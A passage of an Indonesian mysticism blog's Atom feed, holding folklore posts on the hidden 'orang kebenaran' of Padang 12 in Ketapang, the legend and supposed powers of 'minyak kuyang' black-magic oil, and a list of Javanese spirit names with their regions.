2 ketapang menyebutnya orang kebenaran. perkampun mereka tidak&lt;br /&gt;tampak oleh mata orang biasa, dann hanya bisa di lihat orang2 yang berjodoh&lt;br /&gt;saja. letaknya diantara kecamatan kendawangan dan pesaguan. jika orang yang&lt;br /&gt;lewat jalan raya dari ketapang ke kendawangan takabur terhadap daearah itu atau&lt;br /&gt;berbuat jahat di daerah tersebut maka kenungkinan besar akan melihat pemandangan&lt;br /&gt;yang aneh , seram atau lebih parah dari itu.&lt;br /&gt;&lt;br /&gt;banyak orang yang ingin membuktikan keberadaan daerah itu cuman tidak pernah ada&lt;br /&gt;yang melihat langsung , konon katanya penduduk setempat (/orang limun/orang&lt;br /&gt;kebenaran) mempunyai pesawat pribadi,mobil mewah dan sebagainya layaknya manusia&lt;br /&gt;normal, tetapi bedanya dengan mereka mereka tidak mempunya belahan di bawah&lt;br /&gt;hidung di atas bibir,&lt;br /&gt;&lt;br /&gt;yang pernah membuktikan langsung tu adalah H.Rhoma Irama (artis / raja dangdut)&lt;br /&gt;beliau pernah manggung di ketapang 2 kali yang pernama di padang 12,dan beliau&lt;br /&gt;kagum dengan perkembangan pembangunan daerrah itu, dan manggung yang kedua di&lt;br /&gt;kota ketapang nya, beliau sangat heran kok kenapa kota ketapang yang dia&lt;br /&gt;manggung pertam sangat megah, kok sekarang berubayh, "kata bang oma" tu salah&lt;br /&gt;satu cerita nyata&lt;br /&gt;&lt;br /&gt;di lain sisi di catatan kantor apa gitu pokoknya yang mengurus tentang kendaraan&lt;br /&gt;roda empat. setelah di survey ternyata banyak mobil2 mewah seperti ferrari,&lt;br /&gt;mclaren, dll terdapat di kota ketapang, tetapi saya yang asli orang ketapang&lt;br /&gt;belom pernah melihat mobil2 tersebut apa lagi ada pesawat pribadi segala,&lt;br /&gt;bandara di ketapang hanya ada 1, secara akal sehat gak mungkin dong ada&lt;br /&gt;landasan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mobil mewah seperti ferrari dan mclaren bisa juga digaibkan toh&lt;br /&gt;mereka sama seperti kita manusia biasa cuma di anugrahi kelabihan aja, uang nya&lt;br /&gt;sama kaya kehidupan kita juga, klo di padang 12 gak ada yang namanya uang, cuman&lt;br /&gt;klo mereka belanja ke dunia kita tetep aja uang biasa, masalah mobil dia juga&lt;br /&gt;beli kok.&lt;br /&gt;&lt;br /&gt;tahun brapa ane lupa 7 kapal besar bermuatan mobil mewah hilang di perairan&lt;br /&gt;ketapang (kalimantan barat) dekat2 padang 12 juga. trus di semarang ada kapal&lt;br /&gt;besar warna kuning semua mbeli peralatan mewah juga. kata orang tua2 di daerah&lt;br /&gt;gw si kepunyaan orang padang 12&lt;br /&gt;&lt;br /&gt;paman gw sendiri yang pernah ngeliat mobil sport warnah merah gak tau merk nya&lt;br /&gt;apaan tapi kejadiannya sekitar tahun 80an lah.&lt;br /&gt;&lt;br /&gt;ada seorang bidan bersalin di ketapang namanya bidan RATNA, suatu malam rumahnya&lt;br /&gt;di gedor (di ketuk) oleh beberapa orang kira2 jam 2an, si bidan membuka pintu&lt;br /&gt;dan ternyata ada orang yang mau melahirkan,&lt;br /&gt;naluri seorang bidan langsung mengeksekusi pasien, setelah pasien selesai&lt;br /&gt;melahirkan ternyata mereka minta langsung pulang aja, melihat dari cara mereka&lt;br /&gt;berpakaian si bidan sudah mengerti mereka bukan orang yang berada, setelah&lt;br /&gt;pasien dan suaminya hendak pulang mereka sempat membicarakan masalah biaya,&lt;br /&gt;mereka memang tidak mampu membayar ongkos persalinan, tetapi si bidan emang m&lt;br /&gt;empunyai niat untuk menolong tanpa meminta bayaran sesenpu, tetapi keluarga&lt;br /&gt;tidak mungkin meninggalkan rumah bidan tanpa memberikan apa2, mereka tidak&lt;br /&gt;mempunyai uang tetapi mereka hanya punya se kantong kunyit( rempah buat masak)&lt;br /&gt;dan bidan dengan ikhlas menerima kunyit tersebut.&lt;br /&gt;&lt;br /&gt;setelah mereka pergi dari rumah bidan, bidan ppun langsung masuk kerumah, dan&lt;br /&gt;melanjutkan tidur, ke esokan harinya si bidan kaget dengan berubahnya kunyit&lt;br /&gt;tadi menjadi emas, bidan tidak percaya dengan apa yang di lihatnya si bidan&lt;br /&gt;langsung menanyakan ke suaminya, ternyata benar itu sebuah emas murni,&lt;br /&gt;&lt;br /&gt;setelah di selidiki ternyata yang melahirkan pada malam itu adalah salah satu&lt;br /&gt;masyarakat padang 12,&lt;br /&gt;&lt;br /&gt;sampai sekarang emas tersebut masih ada di simpan oleh sang bidan&lt;br /&gt;&lt;br /&gt;cerita ini saya dengar sendiri dari bidan ratna, orang nya sekarang masih hidup,&lt;br /&gt;bidan RATNA adalah salah 1 saksi bahwa orang limun( begitulah orang ketapang&lt;br /&gt;menyebutnya) atau orang padang 12, itu ada dan nyata itu membuktikan bahwa&lt;br /&gt;mereka sama seperti kita ( manusia biasa)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Pontianak Pos, Minggu, 4 Juli 2004&lt;br /&gt;Benarkan "Orang Kebenaran" Itu Ada?&lt;br /&gt;Misteri Padang 12 Tak Pernah Terungkap&lt;br /&gt;&lt;br /&gt;Ketapang,- Padang 12 sampai sekarang menyimpan sejuta tanda tanya.&lt;br /&gt;Masyarakat mempercayai di kawasan ini dihuni komunitas bangsa Halimun atau&lt;br /&gt;"orang kebenaran". Bagaimana pandangan masyarakat Ketapang dengan kawasan&lt;br /&gt;Padang 12 itu?&lt;br /&gt;&lt;br /&gt;Andi Candra, Ketapang&lt;br /&gt;&lt;br /&gt;MASYARAKAT Ketapang mempercayai "orang kebenaran" adalah orang suci dan&lt;br /&gt;jujur. Ada juga yang percaya "orang kebenaran" adalah golongan Jin muslim&lt;br /&gt;yang bermukim di daerah tertentu. Namun sekelompok masyarakat lain juga&lt;br /&gt;mempercayai bahwa "orang kebenaran" merupakan keturunan malaikat Harut dan&lt;br /&gt;Marut. Tapi yang pasti adalah beragam cerita seputar Padang 12 dipercayai&lt;br /&gt;masyarakat. Bahkan ada cerita pertolongan yang diberikan manusia secara&lt;br /&gt;kebetulan, telah memberkahi keturunan manusia itu.&lt;br /&gt;&lt;br /&gt;Disebut dengan Padang 12, karena di lokasi ini hanya 12 kilometer yang&lt;br /&gt;diyakini penuh dengan misteri. Kawasan ini dipenuhi dengan pasir kuarsa yang&lt;br /&gt;ditumbuhi oleh pohon kayu putih (pinus). Kendati diyakini 12 kilometer,&lt;br /&gt;namun pandangan kalangan tertentu, kawasan ini adalah kota besar alam gaib.&lt;br /&gt;Bahkan harta karun juga dipercaya tertimbun di Padang 12.&lt;br /&gt;&lt;br /&gt;Penampakan pada kalangan tertentu pernah terjadi. Sering kali warga&lt;br /&gt;menemukan kejadian aneh di kawasan itu. Dari wujud manusia sampai babi&lt;br /&gt;berbulu merah pernah warga temukan di Padang 12. Misalnya saja Mat Noor.&lt;br /&gt;Perjalanan dari Ketapang ke Kendawangan di dalam suatu bis dia menemukan&lt;br /&gt;orangtua yang jambang panjang. Selama bis melaju mereka bercerita panjang.&lt;br /&gt;Sampai di kawasan Padang 12, orangtua itu turun dan mengajak Mat Noor pergi.&lt;br /&gt;Dia menolak dan melanjutkan perjalanan dengan menggunakan bis. Bagi orang,&lt;br /&gt;jika penumpang turun di kawasan itu hal yang biasa. Karena di kawasan itu&lt;br /&gt;sudah dipercayai kawasan orang kebenaran. Ketika ngobrol panjang di dalam&lt;br /&gt;perjalanan, Mat Noor sempat mengunyah permen yang diberi, tapi bungkusnya&lt;br /&gt;diminta kembali. Kejadian 1987 itu ternyata saat sekarang Mat Noor bisa&lt;br /&gt;mengobati orang yang sakit.&lt;br /&gt;&lt;br /&gt;Cerita lain yang dituturkan Rohendi, seorang bidan diajak orang kebenaran&lt;br /&gt;menolong istrinya melahirkan. Ajakan itu diterima, setelah menolong&lt;br /&gt;persalinan, orang kebenaran tak memiliki uang dan berniat memberinya kunyit.&lt;br /&gt;Dia tak mngetahui orang kebenaran itu, karena menganggap kunyit mudah&lt;br /&gt;didapatkan, pemberian yang ditawarkan selama tiga kali itu ditolaknya. Bidan&lt;br /&gt;itu mengikhlaskan pertolongannya.&lt;br /&gt;&lt;br /&gt;Selang malam hari salah satu keluarga bidan itu diberi kabar lewat mimpi.&lt;br /&gt;Bahwa keluarganya itu telah menolak pemberiannya. Dalam mimpi dia&lt;br /&gt;menasehatkan supaya jangan menolak, karena dianggap kurang baik. Namun wujud&lt;br /&gt;terima kasih, keturunan keluarga itu menjadi orang berhasil dan berpangkat&lt;br /&gt;di Tanah Kayong.&lt;br /&gt;&lt;br /&gt;Berbeda lagi dengan seorang pedagang dari Ketapang ke Kendawangan dengan&lt;br /&gt;menngunakan sepeda. Dalam perjalanan pedagang keturunan Jawa itu bertemu&lt;br /&gt;dengan orangtua dan anak kecil. Orang itu meminta air kepada dirinya. Air&lt;br /&gt;yang diminta tak diberikan pedagang tadi. Karena tak diberi, orang itu&lt;br /&gt;mengatakan tidak mengapa. Anehnya perjalanan pedagang itu, baru sampai ke&lt;br /&gt;Kendawangan seminggu lamanya. Dia masuk keluar hutan, akhirnya barang yang&lt;br /&gt;dibawanya habis di tengah jalan karena terjatuh. "Ini lagi memang nyata juga&lt;br /&gt;terjadi di Padang 12, siapa namanya saya sudah lupa, tapi dalam perjalanan&lt;br /&gt;ada yang menahannya dan minta rokok. Bukan hanya rokok yang diberikan orang&lt;br /&gt;itu, tapi diajak bicara dan diajak makan bekalannya, setelah orang tadi&lt;br /&gt;pergi, tujuan ke Kendawangan hanya dikayuh dengan sepeda hitungan menit,"&lt;br /&gt;cerita Rohendi.&lt;/b&gt;&lt;b&gt; &lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-922227123586061056?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/922227123586061056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/922227123586061056'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/misteri-padang-12-ketapang-kalbar.html' title='Misteri Padang 12 (ketapang Kalbar)'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_lcn1O_24jBE/TPIHpg8hQWI/AAAAAAAAASA/4cLK-cANNJk/s72-c/xfile.jpeg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-7859126776476612653</id><published>2010-11-27T14:30:00.002+07:00</published><updated>2010-11-27T14:30:34.191+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='catatan'/><title type='text'>Minyak kuyang dari kalimantan</title><content type='html'>&lt;span style="font-size: medium;"&gt;Minyak Kuyang atau minyak kawiyang adalah salah satu  bentuk pesugihan ilmu hitam di Kalimantan yang mempunyai sejarah panjang  mengiringi peradaban suku-suku di tanah Kalimantan. Minyak ini masih  banyak diburu orang untuk berbagai keperluan. Karena termasuk ilmu  hitam, minyak ini hanya beredar dikalangan terentu saja.&lt;br /&gt;&lt;br /&gt;Di tanah Borneo, minyak Kuyang atau kawiyang sangat terkenal,  sampai-sampai banyak orang yang mencari benda langka ini. Selain sebagai  pesugihan, minyak kuyang ini juga ditengarai dapat membuat pemiliknya  awet muda dan beberapa khasiat keguanaan lainnya. Minyak Kawiyang  memiliki nama berbeda disetiap wilayah Kalimantan, ada yang menyebutnya  minyak kuyang, ada juga yang menamainya sebagai minyak Sumbulik&lt;br /&gt;&lt;br /&gt;Hingga saat ini, asal minyak kuyang tidak diketahui asalnya, karena tiap  wilayah di Kalimantan memiliki “produksi” sendiri. Yang terkenal adalah  “produksi” dari pegunungan Kinabalu (pedalaman Kalimantan Utara,  Malaysia Timur), walaupun terdapat juga di banyak wilayah Kalimantan  Timur.&lt;br /&gt;&lt;br /&gt;Ada cerita yang melatarbelakangi asal muasal minyak kuyang ini, ketika  jaman dahulu pernah hidup seorang janda cantik dengan empat orang  saudaranya, dengan nama Camariah, Dandaniah, Tambuniah dan Uraniah.  Kecantikan paras wanita ini semakin lama semakin bertambah cantik, namun  tidak ada satupun para lelaki yang langgeng membina rumahtangga dengan  mereka. Karena setiap kali dinikahi, tak berapa lama pasti akan  bercerai.&lt;br /&gt;&lt;br /&gt;Ketika hendak meninggal dunia, datanglah 99 lelaki yang pernah menjadi  suami mereka. Para suami tersebut menangis dan merasa bersalah karena  telah bercerai dan meninggalkannya.&lt;br /&gt;&lt;br /&gt;Ketika suasana sedih tersebut, ada suara gaib yang membisikkan bahwa  wanita yang akan meninggal tersebut memiliki “cupu” alias guci kecil  yang berisi minyak untuk dibagi-bagikan kepada 99 orang lelaki tersebut  untuk “dipelihara” dan sebagai kenang-kenangan&lt;br /&gt;&lt;br /&gt;Suara gaib tersebut membisikkan juga bahwa minyak dalam guci tersebut  memiliki khasiat. Setelah itu, 99 lelaki tersebut membawa minyak dalam  guci kecil tersebut ke kampung mereka masing-masing dan akhirnya  tersebar kemana-mana hingga kini. Minyak dalam cupu tersebut kemudian  oleh penduduk dinamakan Minyak Kawiyang, Minyak Sumbulik atau Minyak  Kunyang. Minyak Kuyang tersebut memiliki lima macam warna dan berbeda  juga khasiatnya. Minyak Kuyang pertama berwarna Hitam, khasiatnya untuk  ilmu kebal, tahan terhadap tebasan benda tajam atau tertembak peluru  musuh. Khasiat atau apuah lainnya, adalah pemiliknya dapat menghilang  dengan cepat dan tanpa jejak.&lt;br /&gt;&lt;br /&gt;Minyak Kuyang kedua berwarna merah, khasiat yang dimilikinya adalah  untuk ilmu meringankan tubuh, dapat berlari cepat secepat kilat, dan  dapat memanggil dan memerintahkan para jin untuk mengikuti perintah yang  diberikan si empunya minyak kuyang merah ini. Minyak Kuyang ketiga  berwarna Hijau, dengan khasiat dapat membuat dan mengirimkan ilmu  santet, teluh, atau parangmaya kepada orang lain yang dikehendaki.&lt;br /&gt;&lt;br /&gt;Minyak berwarna hijau ini juga dapat dipakai sebagai minyak untuk awet  muda. Caranya, minyak tersebut dipoleskan di leher, kemudian leher yang  telah dioles minyak kuyang ini akan terlepas dari raga pemiliknya dan  terbang mencari korban untuk dihisap darahnya. Biasanya korban yang  dicari adalah wanita yang akan melahirkan. Karena darah yang keluar dari  proses persalinan akan mengeluarkan darah yang banyak. Kebanyakan yang  belajar ilmu sesat ini adalah para wanita, yang pada siang hari, selalu  melilitkan selendang atau penutup kepala pada leher mereka agar bekas  olehan minyak kuyang ini tidak terlihat oleh orang lain.&lt;br /&gt;&lt;br /&gt;Dan tanda-tanda wanita dengan melilitkan selendang atau penutup kepala  pada leher mereka ini masih banyak ditemukan di desa-desa di Kaltim.  Orang yang memiliki ilmu Kuyang ini sangat takut dengan bau bawang merah  atau bawang putih. Jika ada orang yang dicurigai memiliki ilmu kuyang  ini, kupas saja bawang sebanyak-banyaknya, kemudian kulitnya dibakar.  Dijamin sang pemilik ilmu hitam ini akan memohon untuk tidak mengupas  dan membakar kulit bawang lagi karena air mata mereka akan bertetesan.&lt;br /&gt;&lt;br /&gt;Jika ingin mengirimkan santet atau teluh dari jarak jauh, minyak kuyang  hijau ini cukup dioleskan pada jarum, paku atau pecahan kaca, lalu  diperintahkan untuk menyerang orang yang diinginkan. Jarum, paku atau  pecahan kaca tersebut akan secara gaib masuk ke dalam urat nadi dan  pembuluh darah orang yang akan diserang. Minyak Kuyang selanjutnya  berwarna Kuning, khsiatnya untuk menundukkan hati para perempuan supaya  dapat jatuh cinta dan mengikuti keinginan si pemilik minyak kuyang ini.&lt;br /&gt;&lt;br /&gt;Caranya cukup dengan mengoleskan ke ujung jari, kemudian  digosok-gosokkan ke telapak tangan, untuk selanjutnya dikenakan kepada  wanita yang dimaksud. Minyak Kuyang kelima berwarna Putih, khasiatnya  sebagai pelarisan alias sebagai saranan untuk mendatangkan uang secara  gaib.&lt;br /&gt;&lt;br /&gt;Caranya, uang yang hendak dibelanjakan terlebih dahulu dioleskan minyak  tersebut. Ketika sudah dibelanjakan, secara gaib uang tersebut akan  kembali lagi kepada pemiliknya. Agar mendapatkan uang yang banyak,  biasanya uang yang telah dioleskan uang tersebut dibelanjakan untuk  membeli emas. Uangnya kembali dan emasnya dapat dijual kembali.&lt;br /&gt;&lt;br /&gt;Semua jenis minyak Kuyang tersebut dijaga oleh jin masing-masing. Konon,  minyak kuyang berwarna hitam dijaga oleh jelmaan jin wanita janda.  Sementara, minyak-minyak lainnya dijaga oleh jin jelmaan saudara wanita  janda yang masing-masing bernama Camariah, Dandaniah, Tambuniah, dan  Uraniah tersebut.&lt;br /&gt;&lt;br /&gt;Selain itu, setiap waktu tertentu, biasanya setiap tahun, minyak kuyang  tersebut harus diberi “makan” berupa sesaji sesuai fungsinya  masing-masing.&lt;br /&gt;&lt;br /&gt;Minyak kuyang berwarna hitam tiap tahun harus makan darah ayam hitam atau cemeni dan nasi ketan.&lt;br /&gt;Minyak Kuyang berwarna merah dan hijau selalu menginginkan darah yang berasal dari jari manis manusia dan air tebu merah.&lt;br /&gt;&lt;br /&gt;Kalau minyak kuyang berwarna putih dan yang berwarna kuning setiap waktunya akan meminta serbuk emas.&lt;br /&gt;Meletakkan minyak kuyang ini pun tidak sembarangan, karena harus  diletakkan dalam ruangan yang tidak terdapat cermin atau kaca dan harus  ada lubang besar terbuka.&lt;br /&gt;&lt;br /&gt;Minyak kuyang biasanya diempatkan dalam sebuah guci kecil yang dikenal  dengan nama cupu. Cupu inipun bukan sembarang cupu, karena harus cupu  yang “retak seribu” alias cupu yang telah berusia puluhan tahun.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-7859126776476612653?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/7859126776476612653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/7859126776476612653'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/minyak-kuyang-dari-kalimantan.html' title='Minyak kuyang dari kalimantan'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1516411475622331932</id><published>2010-11-27T14:13:00.003+07:00</published><updated>2010-11-28T16:33:40.454+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='catatan'/><title type='text'>nama - nama dan tempat asal "demit"</title><content type='html'>&lt;div style="color: #990000; font-family: &amp;quot;Helvetica Neue&amp;quot;,Arial,Helvetica,sans-serif;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lcn1O_24jBE/TPIDuf_abII/AAAAAAAAAR8/gXYycssmuhk/s1600/demit.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_lcn1O_24jBE/TPIDuf_abII/AAAAAAAAAR8/gXYycssmuhk/s1600/demit.jpeg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="background-color: #f3f3f3; color: black;"&gt;&lt;u&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;NAMA DEMIT ---&amp;gt; TEMPAT DAERAH&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="color: black;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Durgateluh     ---    Majapahit&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sapujagad       ---   Majapahit&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Reja Baureksa   ---  Majapahit&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kalabatuk       ---   Blambangan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Butlocaya       ---   Kediri&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Prabujeksa       ---  Giripura&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Korek             ---   Ponorogo&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sidakare          ---  Pacitan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Klenthingmungik --- Keduwang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Endrayeksa       --- Magetan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Tunjungpuri       --- Jenggala&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Parangmuka      ---  Surabaya&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Pananggulan      --- Jipang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sapujagad         --- Jipang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kalasekti           --- Madiun&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Prabujeksa        --- Pasuruan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Samaita          ---  Gegelang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Gegeseng         --- Ngawi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Dhadhung         --- Ngawi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Butasalewah     --- Pajang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Mendhamendhi   --- Mataram&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Rajegwesi         --- Plered&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Macanguguk     --- Grobogan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kalajohar         --- Singosari&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Barukuping       --- Srengat&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kalakatung       --- Blitar&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Buthakaroda     --- Ngrawa&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sekargambir     --- Karangbret&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sitalkung         --- Watukuru&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kures              --- Mandlaruknli&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ki Bujengan      --- Lowano&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Nyi Bujenggis    --- Lowano&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Korok           --- Lowano&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Bedruk         --- Talpegat&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Bagus Karang    --- Roban&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Trenggilingwesi  --- Majenang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Dhudhukwarih    --- Pemasuhan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sapuangin        --- Pemasuhan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Nyai Panggung   --- Kuthagedhe &lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Babut           --- Kerta&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Setan Kumbari   --- Jombor&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Jurutaman        --- Tunjungbang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Nitaluki            --- Tunjungbang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sunan Lawu      --- Ngargapura&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Malangganti      --- Tembayat&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Gucukdandang   --- Medhi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Wedhitasik        --- Wedhi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Teluhrumput     --- Kali-Opak&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sanggabuwana  --- 